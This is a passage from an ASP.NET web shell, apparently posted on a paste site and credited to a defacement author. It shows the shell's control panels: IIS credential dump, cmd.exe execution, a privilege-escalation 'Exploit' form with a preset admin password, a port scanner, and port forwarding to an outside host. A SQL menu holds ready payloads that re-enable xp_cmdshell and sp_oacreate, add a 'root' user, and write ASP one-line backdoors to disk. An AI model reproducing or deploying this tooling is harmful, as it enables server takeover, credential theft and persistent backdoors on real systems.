  5115. <input class="style4" id="aLsn" type="text" runat="server"/><span class="style8">
  5116.  
  5117. </span>
  5118.  
  5119. </p>
  5120.  
  5121. <p>
  5122.  
  5123. <asp:Button ID="kOG" CssClass="bt" runat="server" Text="Submit" OnClick="tIykC" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5124.  
  5125. </p>
  5126.  
  5127. </div>
  5128.  
  5129. <%--IISSpy--%>
  5130.  
  5131. <div runat="server" id="VNR" visible="false" enableviewstate="false">
  5132.  
  5133. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5134.  
  5135. <asp:Table ID="GlI" runat="server" Width="100%" CellSpacing="0">
  5136.  
  5137. <asp:TableRow CssClass="head"><asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  5138.  
  5139. </asp:Table>
  5140.  
  5141. </table>
  5142.  
  5143. </div>
  5144.  
  5145. <%--Process--%>
  5146.  
  5147. <div runat="server" id="DCbS" visible="false" enableviewstate="false">
  5148.  
  5149. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5150.  
  5151. <asp:Table ID="IjsL" runat="server" Width="100%" CellSpacing="0" >
  5152.  
  5153. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow>
  5154.  
  5155. </asp:Table>
  5156.  
  5157. </table>
  5158.  
  5159. </div>
  5160.  
  5161. <%--CmdShell--%>
  5162.  
  5163. <div runat="server" id="vIac">
  5164.  
  5165.  <p><span class="style8"><span class="style15">CmdPath :</span><br/>
  5166.  
  5167.  </span>
  5168.  
  5169.  <input class="style4" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe"/><b><span class="style7">
  5170.  
  5171.  </span>
  5172.  
  5173.  </p>
  5174.  
  5175.     <span class="style7"><span class="style15">Argument :</span><br/>
  5176.  
  5177.     </span></b>
  5178.  
  5179.  <input class="style4" runat="server" id="bkcm" value="/c Set" type="text" size="100"/>
  5180.  
  5181.     <asp:Button ID="YrqL" CssClass="bt" runat="server" Text="Submit" OnClick="FbhN" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5182.  
  5183.  <div id="tnQRF" runat="server" visible="false" enableviewstate="false">
  5184.  
  5185.  </div>
  5186.  
  5187. </div>
  5188.  
  5189. <%--Services--%>
  5190.  
  5191. <div runat="server" id="iQxm" visible ="false" enableviewstate="false">
  5192.  
  5193. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5194.  
  5195. <asp:Table ID="vHCs" runat="server" Width="100%" CellSpacing="0" >
  5196.  
  5197. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow>
  5198.  
  5199. </asp:Table>
  5200.  
  5201. </table>
  5202.  
  5203. </div>
  5204.  
  5205. <%--Sysinfo--%>
  5206.  
  5207. <div runat="server" id="ghaB" visible="false" enableviewstate="false">
  5208.  
  5209. <hr style=" border: 1px solid #ddd;height:0px;"/>
  5210.  
  5211. <ul class="info" id="Bin_Ul_Sys" runat="server"></ul>
  5212.  
  5213. <h2 id="Bin_H2_Mac" runat="server"></h2>
  5214.  
  5215. <hr style=" border: 1px solid #ddd;height:0px;"/>
  5216.  
  5217. <ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul>
  5218.  
  5219. <h2 id="Bin_H2_Driver" runat="server"></h2>
  5220.  
  5221. <hr style=" border: 1px solid #ddd;height:0px;"/>
  5222.  
  5223. <ul class="info" id ="Bin_Ul_Driver" runat="server"></ul>
  5224.  
  5225. </div>
  5226.  
  5227. <%--UserInfo--%>
  5228.  
  5229. <div runat="server" id="xWVQ" visible="false" enableviewstate="false">
  5230.  
  5231. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5232.  
  5233. <asp:Table ID="VPa" runat="server" Width="100%" CellSpacing="0" >
  5234.  
  5235. </asp:Table>
  5236.  
  5237. </table>
  5238.  
  5239. </div>
  5240.  
  5241. <%--SuExp--%>
  5242.  
  5243.  <div runat="server" id="APl">
  5244.  
  5245. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5246.  
  5247.  <tr align="center">
  5248.  
  5249.  <td style="width:10%"></td>
  5250.  
  5251.  <td style="width:20%" align="left"><span class="style17">User Name : </span>
  5252.  
  5253.  <input class="style4" runat="server" id="dNohJ" type="text" size="20" value="localadministrator"/></td>
  5254.  
  5255.  <td style="width:20%" align="left"><span class="style17">PassWord : </span>
  5256.  
  5257.  <input class="style4" runat="server" id="NMd" type="text" size="20" value="#l@$ak#.lk;0@P"/></td>
  5258.  
  5259.  <td style="width:20%" align="left"><span class="style17">Port : </span>
  5260.  
  5261.  <input class="style4" runat="server" id="HlQl" type="text" size="20" value="43958"/></td>
  5262.  
  5263.  <td style="width:10%"></td>
  5264.  
  5265.  </tr>
  5266.  
  5267.  <tr >
  5268.  
  5269.  <td style="width:10%"></td>
  5270.  
  5271.  <td colspan="5"><span class="style17">Cmd-Command&nbsp;&nbsp;:&nbsp;</span><input class="style4" runat="server" id="mHbjB" type="text" size="100" value="cmd.exe /c net user"/>
  5272.  
  5273.  <asp:Button ID="SPhc" CssClass="bt" runat="server" Text="Exploit" OnClick="lRfRj" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></td>
  5274.  
  5275.  </tr>
  5276.  
  5277. </table>
  5278.  
  5279. <div id="UHlA" visible="false" enableviewstate="false" runat="server">
  5280.  
  5281. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5282.  
  5283. <tr align="center">
  5284.  
  5285. <td style="width:30%"></td>
  5286.  
  5287. <td align="left" style="width:40%"><pre id="Bin_Td_Res" runat="server"></pre></td>
  5288.  
  5289. <td style="width:30%"></td>
  5290.  
  5291. </tr>
  5292.  
  5293. </table>
  5294.  
  5295. </div>
  5296.  
  5297. </div>
  5298.  
  5299. <%--Reg--%>
  5300.  
  5301. <div id="kkHN" runat="server">
  5302.  
  5303. <p><span class="style17">Registry Path : </span>
  5304.  
  5305. <asp:TextBox id="qPdI" style="width:85%;margin:0 8px;" CssClass="input" runat="server" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5306.  
  5307. <asp:Button ID="MoNA" runat="server" Text="Go" CssClass="bt" onclick="RAFL" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></p>
  5308.  
  5309. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  5310.  
  5311. <asp:Table ID="pLWD" runat="server" Width="100%" CellSpacing="0" >
  5312.  
  5313. <asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="vyX"></asp:TableCell></asp:TableRow>
  5314.  
  5315. <asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>
  5316.  
  5317. </asp:Table>
  5318.  
  5319. </table>
  5320.  
  5321. </div>
  5322.  
  5323. <%--PortScan--%>
  5324.  
  5325. <div id="YwLB" runat="server">
  5326.  
  5327. <p>
  5328.  
  5329. <span class="style17">IP : </span>
  5330.  
  5331. <asp:TextBox id="MdR" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5332.  
  5333. <span class="style8"><span class="style15">Port :</span> </span>
  5334.  
  5335. <asp:TextBox id="lOmX" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5336.  
  5337. <asp:Button ID="CmUCh" runat="server" Text="Scan" CssClass="bt" OnClick="ELkQ" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5338.  
  5339. </p>
  5340.  
  5341. <div id="GBYT" runat="server" visible="false" enableviewstate="false"></div>
  5342.  
  5343. </div>
  5344.  
  5345. <%--DataBase--%>
  5346.  
  5347. <div id="iDgmL" runat="server">
  5348.  
  5349. <p><span class="style17">ConnString : </span>
  5350.  
  5351. <asp:TextBox id="MasR" style="width:70%;margin:0 8px;" CssClass="input" runat="server" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5352.  
  5353. <asp:DropDownList runat="server" CssClass="list" ID="WYmo" AutoPostBack="True" OnSelectedIndexChanged="zOVO" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb">ACCESS</asp:ListItem></asp:DropDownList>
  5354.  
  5355. <asp:Button ID="QcZPA" runat="server" Text="Go" CssClass="bt" OnClick="BGY" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></p>
  5356.  
  5357. <div id="dQIIF" runat="server">
  5358.  
  5359. <div id="irTU" runat="server"></div>
  5360.  
  5361. <div id="uXevN" runat="server">
  5362.  
  5363.     <span class="style8"><span class="style15">Please select a database :</span> : </span>
  5364.  
  5365.     <asp:DropDownList runat="server" ID="Pvf" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"></asp:DropDownList>
  5366.  
  5367.     <span class="style8"><span class="style15">SQLExec :</span> </span>
  5368.  
  5369.     <asp:DropDownList runat="server" ID="FGEy" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^>>c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''&lt;%execute(request(chr(35)))%&gt;'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(&#34;cmd.exe /c net user root root/add &#34;)')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem></asp:DropDownList>
  5370.  
  5371. </div>
  5372.  
  5373. <table width="200" border="0" cellpadding="0" cellspacing="0"><tr>
  5374.  
  5375.     <td class="style8"> Run SQL </td></tr><tr><td>
  5376.  
  5377.         <textarea id="jHIy" class="style5" style="width:600px;height:60px;overflow:auto;" runat="server" rows="6" cols="1"></textarea></td></tr><tr><td>
  5378.  
  5379. <asp:Button runat="server" ID="WOhJ" CssClass="bt" Text="Query" onclick="ORUgV" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></td></tr></table>
  5380.  
  5381. <div style="overflow-x:auto;width:950px" >
  5382.  
  5383. <p>
  5384.  
  5385. <asp:DataGrid runat="server" ID="rom" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" ></asp:DataGrid>
  5386.  
  5387. </p>
  5388.  
  5389. </div>
  5390.  
  5391. </div>
  5392.  
  5393. </div>
  5394.  
  5395. <%--PortMap--%>
  5396.  
  5397. <div id="hOWTm" runat="server">
  5398.  
  5399. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5400.  
  5401. <tr align="center">
  5402.  
  5403. <td style="width:5%"></td>
  5404.  
  5405. <td style="width:20%" align="left"><span class="style17">Local Ip : </span>
  5406.  
  5407. <input class="style4" runat="server" id="eEpm" type="text" size="20" value="127.0.0.1"/></td>
  5408.  
  5409. <td style="width:20%" align="left"><span class="style17">Local Port : </span>
  5410.  
  5411. <input class="style4" runat="server" id="iXdh" type="text" size="20" value="3389"/></td>
  5412.  
  5413. <td style="width:20%" align="left"><span class="style17">Remote Ip : </span>
  5414.  
  5415. <input class="style4" runat="server" id="llH" type="text" size="20" value="www.rootkit.net.cn"/></td>
  5416.  
  5417. <td style="width:20%" align="left"><span class="style17">Remote Port : </span>
  5418.  
  5419. <input class="style4" runat="server" id="ZHS" type="text" size="20" value="80"/></td></tr>
  5420.  
  5421. <tr align="center"><td colspan="5"><b><br class="style7"/></b>
  5422.  
  5423.     <asp:Button ID="FJE" CssClass="bt" runat="server" Text="MapPort" OnClick="wDZ" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5424.  
  5425.     &nbsp;
  5426.  
  5427.     <asp:Button ID="giX" CssClass="bt" runat="server" Text="ClearAll" OnClick="vJNsE" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5428.  
  5429.     &nbsp;
  5430.  
  5431.     <asp:Button ID="GFsm" CssClass="bt" runat="server" Text="Refresh" OnClick="tYoZ" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></td></tr></table></div>
  5432.  
  5433. <%--Search--%>
  5434.  
  5435. <div id="yhv" runat="server">
  5436.  
  5437. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5438.  
  5439. <tr align="center">
  5440.  
  5441. <td style="width:20%" align="left" class="style17">Keyword</td>
  5442.  
  5443. <td style="width:60%" align="left">
  5444.  
  5445. <textarea id="iaMKl" runat="server" class="style5" style="width:100%" rows="4"></textarea></td>
  5446.  
  5447. <td style="width:20%" align="left">
  5448.  
  5449. <input type="checkbox" runat="server" id="rAQ" value="1" class="style8"/><span class="style8">
  5450.  
  5451. <span class="style15">Use Regex</span></span></td>
  5452.  
  5453. </tr>
  5454.  
  5455. <tr align="center">
  5456.  
  5457. <td style="width:20%" align="left" class="style17">Replace As</td>
  5458.  
  5459. <td style="width:60%" align="left">
  5460.  
  5461. <textarea id="qPe" runat="server" class="style5" style="width:100%" rows="4"></textarea></td>
  5462.  
  5463. <td style="width:20%" align="left">
  5464.  
  5465. <input type="checkbox" runat="server" id="YZw" class="style8"/><span class="style8">
  5466.  
  5467. <span class="style15">Replace</span></span></td>
  5468.  
  5469. </tr>
  5470.  
  5471. <tr align="center">
  5472.  
  5473. <td style="width:20%" align="left" class="style17">Search FileType</td>
  5474.  
  5475. <td style="width:60%" align="left">
  5476.  
  5477. <input type="text" runat="server" class="style4" id="UDLvA" style="width:100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"/></td>
  5478.  
  5479. <td style="width:20%" align="left">
  5480.  
  5481. <asp:DropDownList runat="server" ID="Ven" AutoPostBack="False" CssClass="list" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"><asp:ListItem Value="name">File Name</asp:ListItem><asp:ListItem Value="content" Selected="True">File Content</asp:ListItem></asp:DropDownList></td>
  5482.  
  5483. </tr>
  5484.  
  5485. <tr align="center">
  5486.  
  5487. <td style="width:20%" align="left" class="style17">Path</td>
  5488.  
  5489. <td style="width:60%" align="left">
  5490.  
  5491. <input type="text" class="style4" id="NaLJ" runat="server" style="width:100%" /></td>
  5492.  
  5493. <td style="width:20%" align="left">
  5494.  
  5495. <asp:Button CssClass="bt" id="axy" runat="server" onclick="NBy" Text="Start" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" /></td>
  5496.  
  5497. </tr>
  5498.  
  5499. </table>
  5500.  
  5501.     <span class="style8">
  5502.  
  5503. <br/>
  5504.  
  5505. <br/>
  5506.  
  5507.     </span>
  5508.  
  5509. <asp:Table ID="oJiym" runat="server" Width="100%" CellSpacing="0" >
  5510.  
  5511. <asp:TableRow CssClass="head"><asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell Width="20%">Size</asp:TableCell></asp:TableRow>
  5512.  
  5513. </asp:Table>
  5514.  
  5515. </div>
  5516.  
  5517. </td></tr></table>
  5518.  
  5519. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;" class="style18">
  5520.  
  5521.     <b>Copyright 2010 © :: <span class="style19">CrAzY ArAr</span> ::&nbsp; All Rights Reserved.<br />
  5522.  
  5523.     <a href="http://www.zone-h.org/archive/notifier=crazy-3r3r" target="_blank">aljyyosh.com</a></b></div>
  5524.  
  5525.     </div>
  5526.  
  5527. </form>
  5528.  
  5529. </body>
  5530.  
  5531. </html>
  5532.  
  5533. <span class="style8">
  5534.  
  5535. <br></span>
  5536.  
  5537. </center>
  5538.  
  5539. <body style="background-color: #D4D0C8">
  5540.  
  5541.  
  5542.  
  5543. <p class="style1"><strong><span class="style2">--:: Coded By CrAzY ArAr ::--</span></strong></p>
Add Comment
Please, Sign In to add comment